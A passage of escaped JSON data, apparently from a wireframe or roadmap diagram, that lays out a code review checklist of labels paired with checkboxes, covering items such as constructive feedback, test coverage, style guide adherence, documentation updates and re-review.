change.\"}}]}}},{\"ID\":\"2886\",\"typeID\":\"__group__\",\"zOrder\":\"98\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2311\",\"properties\":{\"controlName\":\"check:list-review-risks-issues\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2887\",\"typeID\":\"__group__\",\"zOrder\":\"101\",\"measuredW\":\"1121\",\"measuredH\":\"28\",\"w\":\"1121\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2352\",\"properties\":{\"controlName\":\"open-mind-reviewer\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"1121\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Approach the process with an open mind; be willing to provide constructive feedback and collaborate to improve code quality\"}}]}}},{\"ID\":\"2888\",\"typeID\":\"__group__\",\"zOrder\":\"100\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2351\",\"properties\":{\"controlName\":\"check:open-mind-reviewer\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2889\",\"typeID\":\"__group__\",\"zOrder\":\"103\",\"measuredW\":\"813\",\"measuredH\":\"28\",\"w\":\"813\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2393\",\"properties\":{\"controlName\":\"quality-code-overall\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"813\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Consider the overall quality of the code, including readability, maintainability, and scalability.\"}}]}}},{\"ID\":\"2890\",\"typeID\":\"__group__\",\"zOrder\":\"102\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2392\",\"properties\":{\"controlName\":\"check:quality-code-overall\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2891\",\"typeID\":\"__group__\",\"zOrder\":\"105\",\"measuredW\":\"925\",\"measuredH\":\"28\",\"w\":\"925\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2433\",\"properties\":{\"controlName\":\"determine-review-level\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"925\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Determine the appropriate level of review needed based on the scope and impact of the code change.\"}}]}}},{\"ID\":\"2892\",\"typeID\":\"__group__\",\"zOrder\":\"104\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2432\",\"properties\":{\"controlName\":\"check:determine-review-level\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2893\",\"typeID\":\"__group__\",\"zOrder\":\"113\",\"measuredW\":\"992\",\"measuredH\":\"28\",\"w\":\"992\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2477\",\"properties\":{\"controlName\":\"collaborate-reviewer-author\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"992\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Be willing to collaborate with the author to resolve any issues or concerns that arise during the review process.\"}}]}}},{\"ID\":\"2894\",\"typeID\":\"__group__\",\"zOrder\":\"112\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2476\",\"properties\":{\"controlName\":\"check:collaborate-reviewer-author\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2895\",\"typeID\":\"__group__\",\"zOrder\":\"111\",\"measuredW\":\"900\",\"measuredH\":\"28\",\"w\":\"900\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2641\",\"properties\":{\"controlName\":\"professional-feedback\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"900\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Be respectful and professional in your feedback, avoiding personal attacks or derogatory comments.\"}}]}}},{\"ID\":\"2896\",\"typeID\":\"__group__\",\"zOrder\":\"110\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2640\",\"properties\":{\"controlName\":\"check:professional-feedback\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2897\",\"typeID\":\"__group__\",\"zOrder\":\"115\",\"measuredW\":\"1091\",\"measuredH\":\"28\",\"w\":\"1091\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2682\",\"properties\":{\"controlName\":\"clear-feedback\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"1091\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Provide clear and actionable feedback, including specific suggestions for improvement and explanations of any concerns.\"}}]}}},{\"ID\":\"2898\",\"typeID\":\"__group__\",\"zOrder\":\"114\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2681\",\"properties\":{\"controlName\":\"check:clear-feedback\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2899\",\"typeID\":\"__group__\",\"zOrder\":\"117\",\"measuredW\":\"902\",\"measuredH\":\"28\",\"w\":\"902\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2721\",\"properties\":{\"controlName\":\"potential-issues-reviewer\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"902\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Identify any potential performance, security, or scalability concerns, and discuss them with the author.\"}}]}}},{\"ID\":\"2900\",\"typeID\":\"__group__\",\"zOrder\":\"116\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2720\",\"properties\":{\"controlName\":\"check:potential-issues-reviewer\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2901\",\"typeID\":\"__group__\",\"zOrder\":\"119\",\"measuredW\":\"606\",\"measuredH\":\"28\",\"w\":\"606\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2761\",\"properties\":{\"controlName\":\"prioritize-feedback\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"606\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Prioritize your feedback, focusing on the most important issues first.\"}}]}}},{\"ID\":\"2902\",\"typeID\":\"__group__\",\"zOrder\":\"118\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2760\",\"properties\":{\"controlName\":\"check:prioritize-feedback\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2903\",\"typeID\":\"__group__\",\"zOrder\":\"121\",\"measuredW\":\"1051\",\"measuredH\":\"28\",\"w\":\"1051\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2801\",\"properties\":{\"controlName\":\"review-tests\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"1051\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Review any tests included with the code change to verify that they adequately cover the functionality and edge cases.\"}}]}}},{\"ID\":\"2904\",\"typeID\":\"__group__\",\"zOrder\":\"120\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2800\",\"properties\":{\"controlName\":\"check:review-tests\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2905\",\"typeID\":\"__group__\",\"zOrder\":\"123\",\"measuredW\":\"819\",\"measuredH\":\"28\",\"w\":\"819\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2841\",\"properties\":{\"controlName\":\"code-guide-best-practices-adherence\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"819\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Ensure that the code change adheres to the project's coding standards and best practices.\"}}]}}},{\"ID\":\"2906\",\"typeID\":\"__group__\",\"zOrder\":\"122\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2840\",\"properties\":{\"controlName\":\"check:code-guide-best-practices-adherence\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2907\",\"typeID\":\"__group__\",\"zOrder\":\"125\",\"measuredW\":\"531\",\"measuredH\":\"28\",\"w\":\"531\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2880\",\"properties\":{\"controlName\":\"review-docs-updated\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"531\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Ensure that the relevant documentation has been updated.\"}}]}}},{\"ID\":\"2908\",\"typeID\":\"__group__\",\"zOrder\":\"124\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2879\",\"properties\":{\"controlName\":\"check:review-docs-updated\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2909\",\"typeID\":\"__group__\",\"zOrder\":\"127\",\"measuredW\":\"1038\",\"measuredH\":\"28\",\"w\":\"1038\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2920\",\"properties\":{\"controlName\":\"team-wide-style-followed\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"1038\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Team wide styleguide is the absolute authority styling. Verify changes against those instead of personal preferences\"}}]}}},{\"ID\":\"2910\",\"typeID\":\"__group__\",\"zOrder\":\"126\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2919\",\"properties\":{\"controlName\":\"check:team-wide-style-followed\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2911\",\"typeID\":\"__group__\",\"zOrder\":\"129\",\"measuredW\":\"960\",\"measuredH\":\"28\",\"w\":\"960\",\"h\":\"28\",\"x\":\"324\",\"y\":\"2960\",\"properties\":{\"controlName\":\"nitpick-comments\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"960\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Leave comments to suggest improvements, but prefix it with \\\"Nit\\\" if it's not critical to meeting the standards\"}}]}}},{\"ID\":\"2912\",\"typeID\":\"__group__\",\"zOrder\":\"128\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"2959\",\"properties\":{\"controlName\":\"check:nitpick-comments\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2913\",\"typeID\":\"__group__\",\"zOrder\":\"131\",\"measuredW\":\"413\",\"measuredH\":\"28\",\"w\":\"413\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3002\",\"properties\":{\"controlName\":\"continuous-improvement-over-perfection\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"413\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Seek continuous improvement, not perfection.\"}}]}}},{\"ID\":\"2914\",\"typeID\":\"__group__\",\"zOrder\":\"130\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3001\",\"properties\":{\"controlName\":\"check:continuous-improvement-over-perfection\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2915\",\"typeID\":\"__group__\",\"zOrder\":\"133\",\"measuredW\":\"528\",\"measuredH\":\"28\",\"w\":\"528\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3042\",\"properties\":{\"controlName\":\"short-term-long-term-considerations\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"528\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Keep the short-term and long-term considerations in mind.\"}}]}}},{\"ID\":\"2916\",\"typeID\":\"__group__\",\"zOrder\":\"132\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3041\",\"properties\":{\"controlName\":\"check:short-term-long-term-considerations\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2917\",\"typeID\":\"__group__\",\"zOrder\":\"135\",\"measuredW\":\"743\",\"measuredH\":\"28\",\"w\":\"743\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3082\",\"properties\":{\"controlName\":\"pair-programming-reviews\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"743\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Consider using pair programming as an alternative or supplement to code reviews.\"}}]}}},{\"ID\":\"2918\",\"typeID\":\"__group__\",\"zOrder\":\"134\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3081\",\"properties\":{\"controlName\":\"check:pair-programming-reviews\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2919\",\"typeID\":\"__group__\",\"zOrder\":\"137\",\"measuredW\":\"1019\",\"measuredH\":\"28\",\"w\":\"1019\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3122\",\"properties\":{\"controlName\":\"positive-feedback-criticism\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"1019\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Provide positive feedback in addition to constructive criticism, to reinforce good practices and boost team morale.\"}}]}}},{\"ID\":\"2920\",\"typeID\":\"__group__\",\"zOrder\":\"136\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3121\",\"properties\":{\"controlName\":\"check:positive-feedback-criticism\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2921\",\"typeID\":\"__group__\",\"zOrder\":\"142\",\"measuredW\":\"704\",\"measuredH\":\"28\",\"w\":\"704\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3281\",\"properties\":{\"controlName\":\"address-feedback-received\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"704\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Address all the feedback received, including any concerns or questions raised.\"}}]}}},{\"ID\":\"2922\",\"typeID\":\"__group__\",\"zOrder\":\"141\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3280\",\"properties\":{\"controlName\":\"check:address-feedback-received\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2923\",\"typeID\":\"__group__\",\"zOrder\":\"144\",\"measuredW\":\"686\",\"measuredH\":\"28\",\"w\":\"686\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3321\",\"properties\":{\"controlName\":\"implement-changes-explanations\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"686\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Implement the suggested changes and provide explanations where needed.\"}}]}}},{\"ID\":\"2924\",\"typeID\":\"__group__\",\"zOrder\":\"143\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3320\",\"properties\":{\"controlName\":\"check:implement-changes-explanations\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2925\",\"typeID\":\"__group__\",\"zOrder\":\"146\",\"measuredW\":\"586\",\"measuredH\":\"28\",\"w\":\"586\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3362\",\"properties\":{\"controlName\":\"run-tests-ensure-passing\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"586\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Run the tests and ensure that they all pass after making changes\"}}]}}},{\"ID\":\"2926\",\"typeID\":\"__group__\",\"zOrder\":\"145\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3361\",\"properties\":{\"controlName\":\"check:run-tests-ensure-passing\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2927\",\"typeID\":\"__group__\",\"zOrder\":\"148\",\"measuredW\":\"642\",\"measuredH\":\"28\",\"w\":\"642\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3402\",\"properties\":{\"controlName\":\"update-review-changes-docs\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"642\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Update any documentation or code comments affected by the changes.\"}}]}}},{\"ID\":\"2928\",\"typeID\":\"__group__\",\"zOrder\":\"147\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3401\",\"properties\":{\"controlName\":\"check:update-review-changes-docs\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2929\",\"typeID\":\"__group__\",\"zOrder\":\"150\",\"measuredW\":\"709\",\"measuredH\":\"28\",\"w\":\"709\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3443\",\"properties\":{\"controlName\":\"seek-team-members-feedback\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"709\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Seek feedback from other team members if you are unsure about the changes.\"}}]}}},{\"ID\":\"2930\",\"typeID\":\"__group__\",\"zOrder\":\"149\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3442\",\"properties\":{\"controlName\":\"check:seek-team-members-feedback\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2931\",\"typeID\":\"__group__\",\"zOrder\":\"152\",\"measuredW\":\"505\",\"measuredH\":\"28\",\"w\":\"505\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3486\",\"properties\":{\"controlName\":\"submit-re-review\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"505\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Submit the updated code for a second review if needed.\"}}]}}},{\"ID\":\"2932\",\"typeID\":\"__group__\",\"zOrder\":\"151\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3485\",\"properties\":{\"controlName\":\"check:submit-re-review\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2933\",\"typeID\":\"__group__\",\"zOrder\":\"158\",\"measuredW\":\"845\",\"measuredH\":\"28\",\"w\":\"845\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3656\",\"properties\":{\"controlName\":\"resolve-conflicts-timely\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"845\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Resolve conflicting opinions in a timely manner; don't let a PR sit around due to disagreement.\"}}]}}},{\"ID\":\"2934\",\"typeID\":\"__group__\",\"zOrder\":\"157\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3655\",\"properties\":{\"controlName\":\"check:resolve-conflicts-timely\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2935\",\"typeID\":\"__group__\",\"zOrder\":\"160\",\"measuredW\":\"554\",\"measuredH\":\"28\",\"w\":\"554\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3697\",\"properties\":{\"controlName\":\"verify-changes-addressed\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"554\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Verify that all the feedback has been addressed by the author.\"}}]}}},{\"ID\":\"2936\",\"typeID\":\"__group__\",\"zOrder\":\"159\",\"measuredW\":\"30\",\"measuredH\":\"30\",\"w\":\"30\",\"h\":\"30\",\"x\":\"278\",\"y\":\"3696\",\"properties\":{\"controlName\":\"check:verify-changes-addressed\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"30\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"2937\",\"typeID\":\"__group__\",\"zOrder\":\"162\",\"measuredW\":\"942\",\"measuredH\":\"28\",\"w\":\"942\",\"h\":\"28\",\"x\":\"324\",\"y\":\"3738\",\"properties\":{\"controlName\":\"review-updated-code\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"942\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Review the updated code and ensure that the suggested changes have been implemented as 